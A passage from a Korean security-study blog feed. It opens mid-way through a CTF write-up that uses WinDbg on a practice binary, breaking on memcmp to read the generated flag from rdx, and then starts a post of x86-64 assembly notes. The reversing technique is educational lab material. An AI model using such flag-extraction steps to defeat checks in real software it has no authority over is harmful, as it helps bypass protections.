00007ff7`156921bf  exercise_lecture!memcmp     &amp;larr; 비교 함수&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;gen_flag&lt;/b&gt;: 이름 그대로 flag를 &quot;생성(generate)&quot;하는 함수. flag가 실행 중에 만들어진다는 강력한 암시.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;memcmp&lt;/b&gt;: 뭔가를 비교하는 함수. flag 검증에 쓰일 가능성이 높다.&lt;/li&gt;
&lt;li&gt;&quot;flag를 생성(gen_flag)하고 &amp;rarr; 비교(memcmp)한다&quot;는 스토리가 그려진다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4단계 &amp;mdash; main을 디스어셈블해서 로직을 읽는다&amp;nbsp;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 main이 실제로 어떤 순서로 동작하는지 어셈블리로 뜯어본다. 특히 &lt;b&gt;flag가 어디에 저장되고, memcmp에 어떤 인자로 넘어가는지&lt;/b&gt;를 찾아야 한다. 그래야 &quot;어느 레지스터를 훔쳐봐야 flag가 나오는지&quot; 알 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한 일&lt;/h3&gt;
&lt;pre class=&quot;erlang-repl&quot;&gt;&lt;code&gt;u exercise_lecture!main L30
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(u = unassemble, L30 = 명령어 0x30개)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 부분만 발췌하고 해석:&lt;/p&gt;
&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;15691355  lea  rdx,[rsp+60h]          ┐
1569135a  lea  rcx,[&quot;%23s&quot;]           ├─ scanf(&quot;%23s&quot;, [rsp+60h])
15691361  call scanf                  ┘   &amp;rarr; 내 입력을 [rsp+60h]에 저장

15691366  lea  rcx,[rsp+20h]          ┐
1569136b  call gen_flag               ┘   &amp;rarr; gen_flag가 [rsp+20h]에 flag를 생성

15691370  mov  r8d,17h                ┐   3번째 인자 = 0x17 (23바이트)
15691376  lea  rdx,[rsp+20h]          ├─  2번째 인자 = [rsp+20h] &amp;larr; flag!
1569137b  lea  rcx,[rsp+60h]          │   1번째 인자 = [rsp+60h] &amp;larr; 내 입력!
15691380  call memcmp                 ┘   &amp;rarr; memcmp(내입력, flag, 23)

15691385  test eax,eax               ┐
15691387  je   ...+0x68              ┘   &amp;rarr; 결과가 0(같음)이면 Correct 쪽으로 점프
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;flag는 [rsp+20h]에 저장된다.&lt;/b&gt; gen_flag 호출 직전 lea rcx,[rsp+20h]가 있고, memcmp 직전 lea rdx,[rsp+20h]로 다시 넘겨진다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;내 입력은 [rsp+60h]에 저장된다.&lt;/b&gt; scanf가 저장한 위치.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;flag는 rdx로 전달된다.&lt;/b&gt; memcmp 직전 인자 세팅을 보면:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;rcx = [rsp+60h] = 내 입력&lt;/li&gt;
&lt;li&gt;rdx = [rsp+20h] = &lt;b&gt;flag&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;r8d = 0x17 = 비교 길이 23 즉 호출 형태는 memcmp(내입력, flag, 23).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;memcmp 결과가 0이면(=두 값이 같으면) Correct로 분기.&lt;/b&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5단계 &amp;mdash; memcmp에 중단점을 건다&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag가 완성되는 순간은 &lt;b&gt;gen_flag가 끝나고 memcmp가 호출되기 직전&lt;/b&gt;이다. 이때 flag는 23바이트 완전체로 메모리([rsp+20h])에 있고, 그 주소가 rdx에 담겨 있다. 따라서 memcmp 호출 지점에 중단점을 걸면, 멈춘 순간 rdx로 flag를 읽을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;memcmp 함수 입구에 걸면 주소를 외울 필요도 없다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한 일&lt;/h3&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;bp exercise_lecture!memcmp
bl
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bl(breakpoint list) 확인:&lt;/p&gt;
&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;0 e   00007ff7`156921bf   0001 (0001)  0:**** exercise_lecture!memcmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중단점이 memcmp(156921bf)에 정상적으로 걸렸다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;알아낸 것&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;memcmp가 호출되는 순간 프로그램이 멈추도록 설정 완료.&lt;/li&gt;
&lt;li&gt;그 순간이 곧 flag 완성 직후 + 인자가 레지스터에 세팅된 시점이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6단계 &amp;mdash; 실행하고 flag를 훔쳐본다 (동적 분석의 결정타)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;사고 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중단점을 걸었으니 프로그램을 진행시킨다. flag는 내 입력과 무관하게 gen_flag가 똑같이 생성하므로, 입력은 아무거나 넣어도 된다. memcmp에서 멈추면 4단계에서 알아낸 대로 &lt;b&gt;rdx가 flag 주소&lt;/b&gt;이므로 그 메모리를 아스키로 읽는다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;한 일&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tedOV/dJMcah6j9pN/xNFM4G7etv4Iqb8gHkmyrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tedOV/dJMcah6j9pN/xNFM4G7etv4Iqb8gHkmyrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tedOV/dJMcah6j9pN/xNFM4G7etv4Iqb8gHkmyrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtedOV%2FdJMcah6j9pN%2FxNFM4G7etv4Iqb8gHkmyrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1568&quot; height=&quot;255&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7단계 &amp;mdash; 검증&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eh2eqJ/dJMcacDWQc3/gJnpiVKk4Pn2SaZYrgcdD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eh2eqJ/dJMcacDWQc3/gJnpiVKk4Pn2SaZYrgcdD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eh2eqJ/dJMcacDWQc3/gJnpiVKk4Pn2SaZYrgcdD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feh2eqJ%2FdJMcacDWQc3%2FgJnpiVKk4Pn2SaZYrgcdD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1548&quot; height=&quot;397&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;사용한 WinDbg 명령어 정리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 뜻 이 문제에서 한 일&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File &amp;rarr; Launch executable&lt;/td&gt;
&lt;td&gt;바이너리를 디버거로 실행&lt;/td&gt;
&lt;td&gt;프로그램 로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;td&gt;go (실행/재개)&lt;/td&gt;
&lt;td&gt;초기 브레이크 통과, 프로그램 진행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Debug &amp;rarr; Restart&lt;/td&gt;
&lt;td&gt;재시작&lt;/td&gt;
&lt;td&gt;초기 브레이크 상태로 복귀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lm&lt;/td&gt;
&lt;td&gt;list modules&lt;/td&gt;
&lt;td&gt;모듈 이름&amp;middot;심볼 여부 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;x 모듈!*&lt;/td&gt;
&lt;td&gt;examine symbols&lt;/td&gt;
&lt;td&gt;함수 목록 (main, gen_flag, memcmp 발견)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;u 모듈!main L30&lt;/td&gt;
&lt;td&gt;unassemble&lt;/td&gt;
&lt;td&gt;main 디스어셈블 (정적 분석)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bp 모듈!memcmp&lt;/td&gt;
&lt;td&gt;breakpoint&lt;/td&gt;
&lt;td&gt;memcmp에 중단점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bl&lt;/td&gt;
&lt;td&gt;breakpoint list&lt;/td&gt;
&lt;td&gt;중단점 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;da @rdx&lt;/td&gt;
&lt;td&gt;display ascii&lt;/td&gt;
&lt;td&gt;rdx 주소의 flag 읽기&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/26</guid>
      <comments>https://gahyun0123.tistory.com/26#entry26comment</comments>
      <pubDate>Sat, 18 Jul 2026 15:11:05 +0900</pubDate>
    </item>
    <item>
      <title>Assembly</title>
      <link>https://gahyun0123.tistory.com/25</link>
      <description>&lt;h1&gt;x86-64 어셈블리어 &amp;amp; 컴퓨터 구조 정리 Write-up&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;컴퓨터 구조 기초&lt;/li&gt;
&lt;li&gt;레지스터&lt;/li&gt;
&lt;li&gt;프로세스 메모리 레이아웃&lt;/li&gt;
&lt;li&gt;어셈블리어 기본 문법&lt;/li&gt;
&lt;li&gt;피연산자와 크기 지정자&lt;/li&gt;
&lt;li&gt;데이터 이동 &amp;middot; 산술 &amp;middot; 논리 명령어&lt;/li&gt;
&lt;li&gt;비교와 분기&lt;/li&gt;
&lt;li&gt;반복문&lt;/li&gt;
&lt;li&gt;스택 명령어&lt;/li&gt;
&lt;li&gt;함수와 스택 프레임&lt;/li&gt;
&lt;li&gt;호출 규약&lt;/li&gt;
&lt;li&gt;시스템 콜&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 컴퓨터 구조 기초&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;컴퓨터 구조란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서로 다른 부품(CPU, GPU, 랜카드 등)이 하나의 기계로 작동하게 만드는 기본 설계도를 &lt;b&gt;컴퓨터 구조(Computer Architecture)&lt;/b&gt; 라고 한다. 크게 세 층위로 나뉜다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;기능 구조 설계&lt;/b&gt;: 폰 노이만 구조, 하버드 구조 등 큰 틀&lt;/li&gt;
&lt;li&gt;&lt;b&gt;명령어 집합 구조(ISA)&lt;/b&gt;: CPU가 알아듣는 명령어 규약 (x86, ARM 등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;마이크로 아키텍처&lt;/b&gt;: 그 명령어를 실제 회로로 구현하는 방식 (파이프라인, 캐시 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;폰 노이만 구조 (Von Neumann Architecture)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터에 필요한 세 가지 핵심 기능:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;연산 &amp;middot; 제어&lt;/b&gt; &amp;rarr; CPU (중앙처리장치)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;저장&lt;/b&gt; &amp;rarr; 메모리 (기억장치)&lt;/li&gt;
&lt;li&gt;이 둘을 잇는 데이터/신호 통로 &amp;rarr; &lt;b&gt;버스(Bus)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CPU 내부 구성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;ALU (산술논리장치)&lt;/b&gt;: 실제 계산 수행 (+, -, AND, OR)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;제어장치 (Control Unit)&lt;/b&gt;: 명령 실행 순서 지시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;레지스터 (Register)&lt;/b&gt;: CPU 바로 옆의 초고속 임시 저장 공간&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기억장치&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;주기억장치 (RAM)&lt;/b&gt;: 실행 중 데이터 임시 저장, 전원 꺼지면 소멸&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보조기억장치 (HDD, SSD)&lt;/b&gt;: 데이터 장기 보관, 전원 꺼져도 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버스 3종류&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 버스: 실제 데이터 전송&lt;/li&gt;
&lt;li&gt;주소 버스: 접근할 위치 지정&lt;/li&gt;
&lt;li&gt;제어 버스: 읽기/쓰기 명령 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 메모리가 있는데 CPU 안에 레지스터가 또 필요한가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU는 매우 빠른데 RAM에서 데이터를 가져오는 속도는 상대적으로 느리다. CPU가 매번 RAM을 기다리면 병목이 생기므로, CPU 안에 초고속 저장공간인 &lt;b&gt;레지스터&lt;/b&gt;와 &lt;b&gt;캐시&lt;/b&gt;를 둔다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속도 순서: &lt;b&gt;레지스터 &amp;gt; 캐시 &amp;gt; RAM &amp;gt; SSD&lt;/b&gt; (앞으로 갈수록 빠르지만 용량은 작음)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ISA와 CISC/RISC&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;x86-64&lt;/b&gt;: 고성능, 고전력, 고발열 &amp;rarr; 데스크톱/노트북 (CISC 계열)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ARM, MIPS, AVR&lt;/b&gt;: 저전력, 저발열 &amp;rarr; 스마트폰/임베디드 (RISC 계열)&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;이름&lt;/td&gt;
&lt;td&gt;Complex Instruction Set Computer&lt;/td&gt;
&lt;td&gt;Reduced Instruction Set Computer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시기&lt;/td&gt;
&lt;td&gt;1970년대&lt;/td&gt;
&lt;td&gt;1980년대&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;명령어&lt;/td&gt;
&lt;td&gt;복잡, 개수 많음, 길이 가변&lt;/td&gt;
&lt;td&gt;단순, 개수 적음, 길이 고정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장점&lt;/td&gt;
&lt;td&gt;명령어 하나로 많은 일 (메모리 절약)&lt;/td&gt;
&lt;td&gt;빠른 디코딩, 전력 효율&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대표&lt;/td&gt;
&lt;td&gt;x86-64&lt;/td&gt;
&lt;td&gt;ARM, MIPS&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;x86-64 아키텍처&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;x86과 호환되는 &lt;b&gt;64비트&lt;/b&gt; 아키텍처&lt;/li&gt;
&lt;li&gt;1999년 AMD가 IA-32를 64비트로 확장한 &lt;b&gt;AMD64&lt;/b&gt;가 원조&lt;/li&gt;
&lt;li&gt;별칭: Intel64, IA-32e, amd64, EM64T (리버싱에서 amd64 표기 자주 봄)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;n비트의 의미&lt;/b&gt; = CPU가 한 번에 처리하는 데이터 크기(=WORD)&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;레지스터 크기&lt;/li&gt;
&lt;li&gt;ALU 연산 크기&lt;/li&gt;
&lt;li&gt;주소(메모리) 크기&lt;/li&gt;
&lt;li&gt;버스 대역폭&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: 어셈블리에서 WORD 자료형은 &lt;b&gt;16비트&lt;/b&gt;를 뜻한다. n비트 아키텍처의 WORD 개념과 다르다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;WORD가 크면 좋은 점&lt;/b&gt;: 다룰 수 있는 메모리 크기가 커진다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;32비트: 2&amp;sup3;&amp;sup2; &amp;asymp; 4GB&lt;/li&gt;
&lt;li&gt;64비트: 2⁶⁴ &amp;asymp; 16 엑사바이트 (사실상 무한대)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 레지스터&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;x64에는 4종류의 레지스터가 있다: &lt;b&gt;범용 / 세그먼트 / 명령어 포인터 / 플래그&lt;/b&gt;.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;범용 레지스터 (General Purpose Register)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 연산에 쓰이는 레지스터. 각각 8바이트(64비트).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레지스터 의미 주 용도&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rax&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Accumulator&lt;/td&gt;
&lt;td&gt;함수의 반환값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rbx&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Base&lt;/td&gt;
&lt;td&gt;주된 용도 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rcx&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Counter&lt;/td&gt;
&lt;td&gt;반복문 카운터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rdx&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;주된 용도 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rsi&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Source Index&lt;/td&gt;
&lt;td&gt;데이터 이동 시 원본 포인터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rdi&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Destination Index&lt;/td&gt;
&lt;td&gt;데이터 이동 시 목적지 포인터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rsp&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Stack Pointer&lt;/td&gt;
&lt;td&gt;스택 꼭대기(Top) 위치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;rbp&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Stack Base Pointer&lt;/td&gt;
&lt;td&gt;스택 프레임의 바닥&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 외에 &lt;b&gt;r8 ~ r15&lt;/b&gt; 추가 존재.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;세그먼트 레지스터 (Segment Register)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과거 16비트 시절, 좁은 주소 공간을 넘어서기 위해 cs:offset &amp;rarr; cs&amp;lt;&amp;lt;4 + offset 방식으로 주소를 계산하던 유산.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시: cs=0x0000, offset=0x20 &amp;rarr; cs&amp;lt;&amp;lt;4 + offset = 0x00000 + 0x20 = &lt;b&gt;0x0020&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;x64에서는 주소 공간이 넓어져 용도가 축소됨. 총 6개(cs, ds, ss, es, fs, gs), 각 16비트.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름 용도&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CS (Code Segment)&lt;/td&gt;
&lt;td&gt;실행 코드 시작 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DS (Data Segment)&lt;/td&gt;
&lt;td&gt;데이터 영역 시작 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SS (Stack Segment)&lt;/td&gt;
&lt;td&gt;스택 영역 시작 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ES, FS, GS&lt;/td&gt;
&lt;td&gt;범용 용도&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;명령어 포인터 레지스터 (Instruction Pointer)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU가 지금 실행할 코드의 위치를 가리킴. x64에서는 &lt;b&gt;rip&lt;/b&gt;, 크기 8바이트.&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;플래그 레지스터 (Flag Register)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연산 결과의 상태를 저장하는 특수 레지스터. x64에서는 &lt;b&gt;RFLAGS&lt;/b&gt;. 조건 분기에 핵심.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;CF&lt;/b&gt; (Carry)&lt;/td&gt;
&lt;td&gt;부호 없는 연산 결과가 비트 범위 초과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;ZF&lt;/b&gt; (Zero)&lt;/td&gt;
&lt;td&gt;연산 결과가 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;SF&lt;/b&gt; (Sign)&lt;/td&gt;
&lt;td&gt;연산 결과가 음수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;OF&lt;/b&gt; (Overflow)&lt;/td&gt;
&lt;td&gt;부호 있는 연산 결과가 비트 범위 초과&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심&lt;/b&gt;: cmp a, b는 내부적으로 a - b를 수행해서 플래그를 세팅한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;a=3, b=5 &amp;rarr; 결과 음수 &amp;rarr; SF=1 &amp;rarr; &quot;a가 더 작다&quot;&lt;/li&gt;
&lt;li&gt;a=5, b=5 &amp;rarr; 결과 0 &amp;rarr; ZF=1 &amp;rarr; &quot;같다&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;레지스터 호환 (하위 비트 접근)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 64비트 레지스터를 여러 크기로 쪼개 접근 가능.&lt;/p&gt;
&lt;pre class=&quot;gherkin&quot;&gt;&lt;code&gt;|&amp;lt;---------------------- rax (64비트) ----------------------&amp;gt;|
                        |&amp;lt;----- eax (하위 32비트) -----&amp;gt;|
